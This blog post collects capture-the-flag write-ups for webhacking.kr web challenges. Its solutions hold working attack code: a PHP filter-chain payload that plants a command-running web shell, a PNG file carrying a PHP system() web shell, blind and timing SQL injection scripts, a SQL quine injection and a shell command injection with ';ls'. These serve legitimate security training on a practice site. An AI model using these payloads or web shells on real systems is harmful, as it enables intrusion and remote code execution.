Hello Navi

Tech, Security & Personal Notes

Challenge

Recover the preimage hidden behind repeated SHA-1 hashing.

恢复重复 SHA-1 哈希之前的原始值。

1
https://webhacking.kr/challenge/web-04/

Analysis

源码每次请求生成一个 8 位随机数并拼接固定 salt:

1
2
3
$hash = rand(10000000, 99999999)."salt_for_you";
$_SESSION['chall4'] = $hash;
for($i=0; $i<500; $i++) $hash = sha1($hash);

页面显示的是 500 轮 SHA-1 后的 40 位 hexadecimal digest,提交校验的是 session 中保存的原始字符串。候选空间是 10000000 到 99999999,共 90,000,000 个数字。每次刷新页面都会重新生成 session 值,因此 hash 的计算和提交必须使用同一次 session、同一次页面请求。

Solution

对每个 8 位候选值执行以下计算:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import hashlib


def repeated_sha1(number: int) -> str:
value = f"{number}salt_for_you".encode()
for _ in range(500):
value = hashlib.sha1(value).hexdigest().encode()
return value.decode()


for number in range(10_000_000, 100_000_000):
if repeated_sha1(number) == target_hash:
print(f"{number}salt_for_you")
break

纯 Python 逐一计算可以验证算法,但完整搜索成本较高。CUDA solver 将候选空间分配给 GPU threads,并在 device 端完成 500 轮 SHA-1。GPU 内部每轮的输入是上一轮 digest 的 40 个 lowercase hexadecimal ASCII 字符,最终比较的也是 40 个 ASCII 字符;比较 digest bytes 与页面文本会得到错误结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <cuda_runtime.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

__device__ __constant__ uint32_t K[4]={0x5a827999,0x6ed9eba1,0x8f1bbcdc,0xca62c1d6};
__device__ __forceinline__ uint32_t R(uint32_t x,int n){return (x<<n)|(x>>(32-n));}
__device__ void sha1(const uint8_t *msg,int len,uint8_t out[20]){
uint8_t b[64]={0}; for(int i=0;i<len;i++)b[i]=msg[i]; b[len]=0x80; uint64_t bits=(uint64_t)len*8; for(int i=0;i<8;i++)b[63-i]=(bits>>(8*i))&255;
uint32_t w[80]; for(int i=0;i<16;i++)w[i]=((uint32_t)b[4*i]<<24)|((uint32_t)b[4*i+1]<<16)|((uint32_t)b[4*i+2]<<8)|b[4*i+3];
for(int i=16;i<80;i++)w[i]=R(w[i-3]^w[i-8]^w[i-14]^w[i-16],1);
uint32_t a=0x67452301,h=0xefcdab89,c=0x98badcfe,d=0x10325476,e=0xc3d2e1f0;
for(int i=0;i<80;i++){uint32_t f,q;if(i<20){f=(h&c)|((~h)&d);q=K[0];}else if(i<40){f=h^c^d;q=K[1];}else if(i<60){f=(h&c)|(h&d)|(c&d);q=K[2];}else{f=h^c^d;q=K[3];}uint32_t t=R(a,5)+f+e+q+w[i];e=d;d=c;c=R(h,30);h=a;a=t;}
uint32_t z[5]={a+0x67452301,h+0xefcdab89,c+0x98badcfe,d+0x10325476,e+0xc3d2e1f0}; for(int i=0;i<5;i++)for(int j=0;j<4;j++)out[4*i+j]=(z[i]>>(24-8*j))&255;
}
__device__ int hexval(uint8_t x){return x<10?'0'+x:'a'+x-10;}
__global__ void search(uint32_t start,uint32_t count,const uint8_t *target,uint32_t *found){
uint32_t id=blockIdx.x*blockDim.x+threadIdx.x;if(id>=count)return;uint32_t n=start+id;uint8_t m[64],d[20];int p=0;uint32_t div=10000000;for(int i=0;i<8;i++){m[p++]=(n/div)%10+'0';div/=10;}const char*s="salt_for_you";for(int i=0;s[i];i++)m[p++]=s[i];int len=p;
for(int r=0;r<500;r++){sha1(m,len,d);for(int i=0;i<20;i++){m[2*i]=hexval(d[i]>>4);m[2*i+1]=hexval(d[i]&15);}len=40;}
bool ok=true;for(int i=0;i<20;i++){if(m[2*i]!=hexval(target[i]>>4)||m[2*i+1]!=hexval(target[i]&15))ok=false;}if(ok)atomicExch(found,n);
}
int main(int argc,char**argv){if(argc<4){fprintf(stderr,"usage: %s START COUNT TARGET_HEX\n",argv[0]);return 2;}uint32_t start=strtoul(argv[1],0,10),count=strtoul(argv[2],0,10);uint8_t target[20];for(int i=0;i<20;i++)sscanf(argv[3]+2*i,"%2hhx",&target[i]);uint8_t *dt;uint32_t *df;cudaMalloc(&dt,20);cudaMalloc(&df,4);cudaMemcpy(dt,target,20,cudaMemcpyHostToDevice);uint32_t zero=0xffffffff;cudaMemcpy(df,&zero,4,cudaMemcpyHostToDevice);int threads=256;int blocks=(count+threads-1)/threads;cudaEvent_t a,b;cudaEventCreate(&a);cudaEventCreate(&b);cudaEventRecord(a);search<<<blocks,threads>>>(start,count,dt,df);cudaEventRecord(b);cudaEventSynchronize(b);float ms;cudaEventElapsedTime(&ms,a,b);uint32_t found;cudaMemcpy(&found,df,4,cudaMemcpyDeviceToHost);printf("start=%u count=%u ms=%.3f candidates_per_second=%.0f found=%s\n",start,count,ms,count/(ms/1000.0),found==0xffffffff?"none":({static char x[16];snprintf(x,16,"%u",found);x;}));cudaFree(dt);cudaFree(df);}
1
2
3
$ nvcc -O3 -arch=sm_89 old04.cu -o old04_cuda
$ ./old04_cuda 10000000 90000000 <target-hash>
start=10000000 count=90000000 ms=15264.127 candidates_per_second=5896177 found=<number>

Challenge

Read flag.txt despite the server-appended .php suffix.

在服务端自动追加 .php 的情况下读取 flag.txt。

1
http://webhacking.kr:10017/

Analysis

题目会把 file 参数作为资源名并追加 .php。普通 LFI 因此会请求错误的文件名。利用 PHP filter chain,可以把 bootstrap 写入 php://temp,再通过 action=include 执行;bootstrap 从 GET 参数 0 取命令并执行:

1
<?=`$_GET[0]`;;?>

Filter Chain

这条链是为了在不能直接写文件的条件下构造一段可执行的 PHP 源码。构造目标先固定为 bootstrap:

1
<?=`$_GET[0]`;;?>

它的 Base64 是 PD89YCRfR0VUWzBdYDs7Pz4=。链条需要把输入流最终变成这段源码,并让 include() 把生成结果当作 PHP 解释。

链条按以下逻辑组合:

  1. php://filter 提供 stream filter 的入口,resource=php://temp 作为临时资源。题目会给 file 追加 .php,所以使用 wrapper 资源绕过普通文件名拼接。
  2. convert.iconv.* 负责在不同字符集之间转换。特定编码转换会产生或保留可控的前缀字节,作为构造 Base64 字符串的中间步骤。这里的编码名称不是随意排列,每一组都来自 generator 对目标字节的搜索结果。
  3. convert.base64-encode 把当前字节流稳定地表示成 Base64;convert.base64-decode 删除不需要的中间字符并还原下一轮转换所需的字节流。两者交替出现,是为了让后续 iconv 转换继续作用在可控的 Base64 数据上。
  4. convert.iconv.UTF8.UTF7 等转换用于改变字节表示,避免中间结果直接出现无法继续处理的字符。后续 iconv 组继续修正编码和字节边界,直到输出目标 Base64。
  5. 链尾的 convert.base64-decode 把目标 Base64 还原成 bootstrap 源码;/resource=php://temp 指定生成内容的临时 stream,action=include 触发包含操作。
  6. 被包含的 bootstrap 从 GET 参数 0 读取命令,因此 0=cat+flag.txt 才是执行阶段的输入。filter chain 负责生成代码,0 负责提供代码执行后的命令,两者是两个独立阶段。

这条链很长,是因为 iconv filter 只能通过有限的字符集转换逐步改变字节流。generator 会根据目标 PHP 源码的 Base64 表示搜索可用的转换序列,并在每个中间阶段插入 Base64 encode/decode 重新建立稳定的字符集边界。手工删除其中一个转换或交换顺序,都会改变中间字节,最终可能得到空输出、错误编码或不可执行的 PHP。

Solution

下面的请求使用上述 filter chain 生成 bootstrap,并把结果落到 php://temp。action=include 触发 include,参数 0 则让 bootstrap 执行 cat flag.txt:

请求 URL 的 host 是题目服务地址;下面给出路径和查询字符串,host 使用当前 challenge 服务地址:

1
/?file=php%3A%2F%2Ffilter%2Fconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP866.CSUNICODE%7Cconvert.iconv.CSISOLATIN5.ISO_6937-2%7Cconvert.iconv.CP950.UTF-16BE%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.865.UTF16%7Cconvert.iconv.CP901.ISO6937%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.851.UTF-16%7Cconvert.iconv.L1.T.618BIT%7Cconvert.iconv.ISO-IR-103.850%7Cconvert.iconv.PT154.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.IBM869.UTF16%7Cconvert.iconv.L3.CSISO90%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.IBM932.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP367.UTF-16%7Cconvert.iconv.CSIBM901.SHIFT_JISX0213%7Cconvert.iconv.UHC.CP1361%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.GBK.BIG5%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP861.UTF-16%7Cconvert.iconv.L4.GB13000%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.865.UTF16%7Cconvert.iconv.CP901.ISO6937%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP861.UTF-16%7Cconvert.iconv.L4.GB13000%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.UTF8.UTF16LE%7Cconvert.iconv.UTF8.CSISO2022KR%7Cconvert.iconv.UCS2.UTF8%7Cconvert.iconv.8859_3.UCS2%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP367.UTF-16%7Cconvert.iconv.CSIBM901.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.PT.UTF32%7Cconvert.iconv.KOI8-U.IBM-932%7Cconvert.iconv.SJIS.EUCJP-WIN%7Cconvert.iconv.L10.UCS4%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.UTF8.CSISO2022KR%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.CP367.UTF-16%7Cconvert.iconv.CSIBM901.SHIFT_JISX0213%7Cconvert.iconv.UHC.CP1361%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.CSIBM1161.UNICODE%7Cconvert.iconv.ISO-IR-156.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.ISO2022KR.UTF16%7Cconvert.iconv.L6.UCS2%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.INIS.UTF16%7Cconvert.iconv.CSIBM1133.IBM943%7Cconvert.iconv.IBM932.SHIFT_JISX0213%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.iconv.SE2.UTF-16%7Cconvert.iconv.CSIBM1161.IBM-932%7Cconvert.iconv.MS932.MS936%7Cconvert.iconv.BIG5.JOHAB%7Cconvert.base64-decode%7Cconvert.base64-encode%7Cconvert.iconv.UTF8.UTF7%7Cconvert.base64-decode%2Fresource%3Dphp%3A%2F%2Ftemp&action=include&0=cat+flag.txt

该 filter chain 依赖目标 PHP 版本与可用的 iconv filter;更换部署时需根据响应确认链条是否有效。

Challenge

Use a self-reproducing SQL expression (quine SQLi).

使用能生成自身的 SQL expression。

1
https://webhacking.kr/challenge/new-12/

Analysis

服务端把 pw 放进单引号包围的查询,并要求查询结果中的 pw 与原始输入完全相等。普通 UNION SQLi 虽然能控制返回值,却不会自动生成完整 payload;这里需要让 SQL 查询返回它自己的源码,也就是 SQL quine。

关键点不是“查出一个已知密码”,而是让 UNION SELECT 的结果恰好等于整个输入字符串。

Solution

使用的 payload:

1
' union select replace(replace(\" union select replace(replace(\"$\",0x22,0x27),0x24,\"$\")#',0x22,0x27),0x24,'\" union select replace(replace(\"$\",0x22,0x27),0x24,\"$\")#')#

$ 是模板占位符,0x22 和 0x27 分别表示双引号和单引号。把 payload 抽象成模板 T 后,查询中的表达式相当于:

1
replace(replace(T, 0x22, 0x27), 0x24, T)

执行过程分两步:

  1. 外层 replace() 把模板中的双引号还原成 payload 需要的单引号。
  2. 内层 replace() 把 $ 替换成已经还原后的模板,于是结果就是完整 payload 本身。

开头的单引号闭合原查询字符串,UNION SELECT 返回生成后的字符串,末尾的 # 注释掉原查询剩余部分。

最终响应中的 Pw 与输入一致,满足题目的比较条件。

Challenge

Extract the flag through the filtered blind SQL injection.

通过带过滤的 blind SQL injection 提取 flag。

1
https://webhacking.kr/challenge/web-10/

Analysis

no 参数进入 SQL 查询,页面用结果值区分真假。过滤器会阻止空格、比较符、LIKE、LIMIT、UNION 等常见写法,但保留括号、SELECT、FROM、SUBSTR、ORD 和 IN。因此可以写成无空格的表达式,并用 MIN/MAX 在不能使用 LIMIT 时选取目标行。

当前题型的对象为 chall13.flag_ab733768.flag_3a55b31d。对最长 flag 使用 MAX(flag_3a55b31d),然后逐位置测试字符的 ASCII 值:

1
ORD(SUBSTR((SELECT(MAX(flag_3a55b31d))FROM(flag_ab733768)),<position>,1))IN(<ascii>)

当页面结果为 1 时,当前字符匹配。flag 长度为 27,字符范围取 0 到 127 足以覆盖结果。

Solution

下面是完整的 Python 提取脚本。它只读取题目的 SQLi oracle;登录 session 从环境变量取得,文章中不包含真实 Cookie。脚本用 requests 自动 URL-encode no 参数,并打印恢复的 flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os

import requests

BASE_URL = "https://webhacking.kr/challenge/web-10/"
TRUE_MARKER = "<td>1</td>"
TABLE_NAME = "flag_ab733768"
COLUMN_NAME = "flag_3a55b31d"
FLAG_LENGTH = 27

def make_payload(position, character_code):
return (
"ORD(SUBSTR((SELECT(MAX({}))FROM({})),{},1))IN({})"
.format(COLUMN_NAME, TABLE_NAME, position, character_code)
)

def oracle(session, payload):
response = session.get(
BASE_URL,
params={"no": payload},
timeout=20,
)
response.raise_for_status()
return TRUE_MARKER in response.text

def extract_flag(session):
flag = []
for position in range(1, FLAG_LENGTH + 1):
for character_code in range(128):
if oracle(session, make_payload(position, character_code)):
flag.append(chr(character_code))
break
else:
raise RuntimeError(f"no character matched at position {position}")
return "".join(flag)

def main():
session_cookie = os.environ.get("CHALLENGE_SESSION")
if not session_cookie:
raise SystemExit("set session-cookie to your own challenge session before running")

session = requests.Session()
session.cookies.set("PHPSESSID", session_cookie, domain="webhacking.kr", path="/")

flag = extract_flag(session)
print(flag)

if __name__ == "__main__":
main()

Challenge

Read flag.php through an Apache upload directory.

通过 Apache 上传目录读取 flag.php。

1
http://webhacking.kr:10002/

Analysis

上传处理器接受名为 .htaccess 的文件,并把文件放进可被 Apache 访问的随机目录。目录中的 .htaccess 会覆盖该目录的 PHP handler;php_flag engine off 关闭 PHP 执行后,访问同目录的 flag.php 会返回源码而非执行结果。

Solution

完整上传和读取脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
import re

import requests

BASE_URL = "http://webhacking.kr:10002/"

def upload_directory(response_text: str) -> str:
match = re.search(r"/upload/[A-Za-z0-9]+/", response_text)
if match is None:
raise RuntimeError("upload response did not contain the upload directory")
return match.group(0)

def main() -> None:
session = requests.Session()
response = session.post(
BASE_URL,
files={
"upfile": (
".htaccess",
b"php_flag engine off\n",
"text/plain",
)
},
timeout=20,
)
response.raise_for_status()

upload_dir = upload_directory(response.text)
flag_source = session.get(
"http://webhacking.kr:10002" + upload_dir + "flag.php",
timeout=20,
)
flag_source.raise_for_status()
print(flag_source.text)

if __name__ == "__main__":
main()

读取源码后,将其中的 flag 填入认证表单。

上传目录名按 session 随机生成,脚本从上传响应提取目录;.htaccess 还要求该目录允许 Apache override。

Challenge

Upload a file accepted by Imagick while preserving a PHP-capable filename.

上传一个能被 Imagick 接受、同时保留 PHP 文件名的文件。

1
http://webhacking.kr:10018/

Analysis

服务端检查上传文件的 MIME type,拒绝 text/* 和 application/octet-stream,随后用 Imagick 读取、缩放并以原文件名写入 upload/:

1
2
3
4
$image = new Imagick();
$image->readImage($_FILES['file']['tmp_name']);
$image->resizeImage(500, 500, imagick::FILTER_GAUSSIAN, 10);
$image->writeImage('./upload/' . $_FILES['file']['name']);

文件名没有限制 .php 后缀。一个有效 PNG 可以在 tEXt chunk 中携带 PHP 代码;若 Imagick 在目标部署中保留该 metadata,上传结果就会以 .php 文件名保存,并由 PHP 解释器处理。

Solution

PHP 代码放入 Comment 文本块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pathlib import Path
import struct
import zlib

PHP = b'<?php system($_GET["cmd"]); ?>'

def chunk(kind, data):
body = kind + data
return struct.pack(">I", len(data)) + body + struct.pack(">I", zlib.crc32(body) & 0xFFFFFFFF)

def make_png(path):
signature = b"\x89PNG\r\n\x1a\n"
ihdr = struct.pack(">IIBBBBB", 1, 1, 8, 2, 0, 0, 0)
scanline = b"\x00\xff\xff\xff"
text = b"Comment\x00" + PHP
png = b"".join(
(
signature,
chunk(b"IHDR", ihdr),
chunk(b"tEXt", text),
chunk(b"IDAT", zlib.compress(scanline)),
chunk(b"IEND", b""),
)
)
Path(path).write_bytes(png)

if __name__ == "__main__":
make_png("shell.png")

上传生成的 shell.png 时,multipart 字段如下:

1
2
3
name=file
filename=shell.php
Content-Type: image/png

上传后访问:

1
/upload/shell.php?cmd=cat%20%2Fflag

metadata 是否在缩放和写入后保留,取决于目标 Imagick 版本与部署配置。

Challenge

Execute ls through a five-character POST field.

在五字符 POST 字段中执行 ls。

1
http://webhacking.kr:10005/

Analysis

服务端只保留 id 的前五个字符,再拼入:

1
system("echo 'hello! {$id}'");

输入 ';ls' 的前五个字符仍是 ';ls'。shell 先结束原来的单引号字符串,再执行 ls;最后一个单引号重新闭合外层命令字符串。这样可以从目录列表得到当前 flag 文件名。

Solution

提交 POST 字段:

1
id=';ls'

命令输出返回一个以 flag_ 开头的文件名。不要把部署生成的完整文件名写死;脚本应从当前响应中提取它:

1
flag_<deployment-generated-name>

随后访问该文件读取 flag:

完整验证脚本如下。它只请求题目端口,不包含 cookie 或其他凭据;如果部署响应格式改变,脚本会明确失败而不会猜文件名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from __future__ import annotations

import argparse
import re
from urllib.parse import urljoin

import requests

FLAG_FILE = re.compile(r"flag_[0-9a-f]+")

def main() -> None:
parser = argparse.ArgumentParser()
parser.add_argument("--url", default="http://webhacking.kr:10005/")
args = parser.parse_args()

response = requests.post(args.url, data={"id": "';ls'"}, timeout=20)
response.raise_for_status()
match = FLAG_FILE.search(response.text)
if not match:
raise RuntimeError("flag filename was not found in the command output")

flag_url = urljoin(args.url, match.group(0))
flag_response = requests.get(flag_url, timeout=20)
flag_response.raise_for_status()
print(flag_response.text)

if __name__ == "__main__":
main()

Challenge

Extract the flag stored in the secret field through a timing oracle.

通过 timing oracle 提取 secret 字段中的 flag。

1
https://webhacking.kr/challenge/web-34/

Analysis

服务端把 se 直接拼入 INSERT 的数值位置,并过滤 select、and、or、not、&、| 和 benchmark。IF、LENGTH、ASCII、SUBSTR 与 SLEEP 仍可使用,因此可以用响应时间区分条件真假。

条件为真时执行 SLEEP(2),条件为假时执行 SLEEP(0)。位置参数按 MySQL 字符串函数约定从 1 开始。发送请求时必须测量整个 HTTP 请求耗时,并以明显高于正常响应的延迟作为 true oracle,而不是依赖页面正文。

Solution

基础长度探针:

1
https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28LENGTH%28pw%29%3DN%2CSLEEP%282%29%2CSLEEP%280%29%29

其中 N 替换为待测试长度。单字符探针:

1
https://webhacking.kr/challenge/web-34/?msg=a&se=IF%28ASCII%28SUBSTR%28pw%2CN%2C1%29%29%3DC%2CSLEEP%282%29%2CSLEEP%280%29%29

其中 N 是 1-based 位置,C 是待测试字符的 ASCII 数值。以下脚本包含长度枚举、字符枚举、请求参数编码、延迟阈值和 entry point;它不包含任何真实 cookie:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
import os
import string
import time

import requests

BASE_URL = os.environ.get("WEBHACKING_BASE", "https://webhacking.kr")
ENDPOINT = f"{BASE_URL}/challenge/web-34/"
SESSION_ID = os.environ.get("CHALLENGE_SESSION", "")
SLEEP_SECONDS = 2
DELAY_THRESHOLD = 1.5
MAX_LENGTH = 64
CHARACTERS = string.ascii_letters + string.digits + string.punctuation

def make_session():
session = requests.Session()
session.headers.update({"User-Agent": "old-57-writeup/1.0"})
if SESSION_ID:
session.cookies.set("PHPSESSID", SESSION_ID, domain="webhacking.kr", path="/")
return session

def request_is_true(session, condition):
expression = (
f"IF({condition},SLEEP({SLEEP_SECONDS}),SLEEP(0))"
)
started = time.monotonic()
response = session.get(
ENDPOINT,
params={"msg": "a", "se": expression},
timeout=SLEEP_SECONDS + 10,
)
elapsed = time.monotonic() - started
response.raise_for_status()
return elapsed >= DELAY_THRESHOLD

def discover_length(session):
for length in range(1, MAX_LENGTH + 1):
if request_is_true(session, f"LENGTH(pw)={length}"):
return length
raise RuntimeError("password length was not found")

def recover_flag(session, length):
flag = ""
for position in range(1, length + 1):
for character in CHARACTERS:
code = ord(character)
condition = f"ASCII(SUBSTR(pw,{position},1))={code}"
if request_is_true(session, condition):
flag += character
print(flag)
break
else:
raise RuntimeError(f"no character matched at position {position}")
return flag

def main():
session = make_session()
length = discover_length(session)
print(f"length={length}")
flag = recover_flag(session, length)
print(f"flag={flag}")

if __name__ == "__main__":
main()

Timing oracle 对网络抖动敏感;SLEEP_SECONDS 和 DELAY_THRESHOLD 需要根据当前网络基线调整。

Challenge

Bypass the SQL filters and make the selected value equal 2.

绕过 SQL 过滤器,让查询结果变成 2。

1
https://webhacking.kr/challenge/web-07/

Analysis

源码随机用 1 到 5 层括号包裹 val,再把查询结果的第一列当作 level。输入过滤器拒绝直接出现数字 2,但 ceil(1.5) 的结果是整数 2,且 payload 不含被拦截的字面量。用 UNION 追加一行,就能让结果集的第一行成为这个值;结尾的 # 用来注释随机包装后剩余的 SQL。

Solution

下面的脚本通过 params 传递值。requests 会把 payload 中的 # 编码为 %23,服务器解码一次后才得到 SQL 注释符;不要手工把已经编码的 %23 再传入 params,否则可能变成双重编码。由于服务端的括号层数随机,脚本最多重试 10 次。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!/usr/bin/env python3
import os
import sys

import requests

URL = os.environ.get(
"OLD07_URL", "https://webhacking.kr/challenge/web-07/"
)
PAYLOAD = "0)union(select(ceil(1.5)))#"
ATTEMPTS = 10

def main() -> int:
with requests.Session() as session:
for attempt in range(1, ATTEMPTS + 1):
response = session.get(
URL,
params={"val": PAYLOAD},
timeout=10,
)
response.raise_for_status()
print(f"attempt {attempt}: {response.url}")
if "old-07" in response.text:
print(response.text)
return 0
print("The random query wrapper did not accept the payload in this run.")
return 1

if __name__ == "__main__":
sys.exit(main())

若直接构造 URL,请使用:

1
https://webhacking.kr/challenge/web-07/?val=0%29union%28select%28ceil%281.5%29%29%29%23

这里的 %23 是 URL 层的编码形式,不能把字面量 # 留在 URL 中,否则浏览器会把它当作 fragment 而不发送给服务器。

Challenge

Understand the obfuscated JavaScript route check.

分析混淆 JavaScript 的路径检查。

1
https://webhacking.kr/challenge/code-3/

Analysis

页面源码是 aaencode 风格的 JavaScript。解码后,脚本从 URL 的 = 之后取值,并将一组 String.fromCharCode 结果与它比较。比较通过后,脚本执行:

1
location.href = "./" + ck.replace("=", "") + ".php";

解码比较值后得到目标文件名 youaregod~~~~~~~!.php,所以无需依赖浏览器执行混淆脚本,也可以直接请求生成后的路径。

Solution

直接请求下面的完整 URL。--path-as-is 让 curl 保留路径中的 ~ 和 !:

1
curl --path-as-is 'https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php'

浏览器中也可以直接访问:

1
https://webhacking.kr/challenge/code-3/youaregod~~~~~~~!.php

请求目标路径即为题目要求的隐藏文件。